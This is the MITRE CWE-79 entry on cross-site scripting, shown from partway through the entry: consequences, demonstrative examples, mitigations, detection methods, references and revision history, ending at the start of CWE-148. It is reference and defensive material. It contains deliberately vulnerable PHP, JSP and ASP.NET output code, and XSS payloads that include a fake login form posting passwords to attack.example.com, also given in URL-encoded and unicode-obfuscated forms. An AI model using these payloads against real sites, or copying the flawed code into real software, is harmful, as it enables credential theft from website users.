The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).

(bad code)
Example Language: PHP 
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)
 
<div class="header"> Welcome, <div id="stealPassword"> Please Login:

<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)
 
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)
 
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

The following code displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)
Example Language: JSP 
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

The following code displays a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)
Example Language: JSP 
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4

The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)
Example Language: PHP 
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)
Example Language: PHP 
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {
exit;
}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5

The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)
Example Language: PHP 
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)
 
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:

(result)
 
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

+ Observed Examples
ReferenceDescription
Python Library Manager did not sufficiently neutralize a user-supplied search term, allowing reflected XSS.
Python-based e-commerce platform did not escape returned content on error pages, allowing for reflected Cross-Site Scripting attacks.
Universal XSS in mobile operating system, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
Admin GUI allows XSS through cookie.
Web stats program allows XSS through crafted HTTP header.
Web log analysis product allows XSS through crafted HTTP Referer header.
Chain: protection mechanism failure allows XSS
Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags
Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)
Reflected XSS using the PATH_INFO in a URL
Reflected XSS not properly handled when generating an error message
Reflected XSS sent through email message.
Stored XSS in a security product.
Stored XSS using a wiki page.
Stored XSS in a guestbook application.
Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.712OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.725OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.811OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.931OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1033OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-site scripting (XSS)
7 Pernicious KingdomsCross-site Scripting
CLASPCross-site scripting
OWASP Top Ten 2007A1ExactCross Site Scripting (XSS)
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A4ExactCross-Site Scripting (XSS) Flaws
WASC8Cross-site Scripting
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-79
+ References
[REF-709] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-712] "Cross-site scripting". Wikipedia. 2008-08-26. <https://en.wikipedia.org/wiki/Cross-site_scripting>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-714] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
[REF-715] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-716] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <https://learn.microsoft.com/en-us/archive/blogs/cisg/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-718] Ivan Ristic. "XSS Defense HOWTO". <https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/xss-defense-howto/>. URL validated: 2023-04-07.
[REF-719] OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
[REF-720] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%20Evaluation%20Criteria>. URL validated: 2023-04-07.
[REF-721] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
[REF-722] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
[REF-723] "Apache Wicket". <http://wicket.apache.org/>.
[REF-724] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
[REF-725] OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.
[REF-726] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <https://www.sans.org/blog/top-25-series-rank-1-cross-site-scripting/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.
[REF-956] Wikipedia. "Samy (computer worm)". <https://en.wikipedia.org/wiki/Samy_(computer_worm)>. URL validated: 2018-01-16.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-79. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01
(CWE 1.0, 2008-09-09)
Eric DalciCigital
updated Time_of_Introduction
2008-08-15
(CWE 1.0, 2008-09-09)
Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Background_Details, Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Cross-site Scripting (XSS)
2009-01-12Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2009-05-27Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
2010-06-21Failure to Preserve Web Page Structure ('Cross-site Scripting')

CWE-148: Improper Neutralization of Input Leaders

Weakness ID: 148
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.
+ Relationships
